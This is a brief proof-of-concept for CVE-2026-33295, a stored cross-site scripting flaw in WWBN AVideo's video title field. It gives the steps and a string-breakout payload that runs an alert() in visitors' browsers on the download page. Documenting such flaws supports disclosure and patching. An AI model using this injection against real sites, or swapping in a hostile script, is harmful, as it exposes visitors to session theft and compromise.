CVE-2026-33295: WWBN AVideo 存储型XSS漏洞

<!-- PoC for CVE-2026-33295: Stored XSS in clean_title field Description: Inject malicious JS into the video title field. --> // 1. Attacker creates or edits a video via the web interface. // 2. In the 'clean_title' field, inject the following payload: "); alert('XSS by CVE-2026-33295'); // // 3. Save the video. // 4. When a victim visits the download page for this video, // the rendered JS will look like: var title = "[PAYLOAD]"; // resulting in: var title = ""); alert('XSS by CVE-2026-33295'); //"; // 5. The alert() executes in the victim's browser.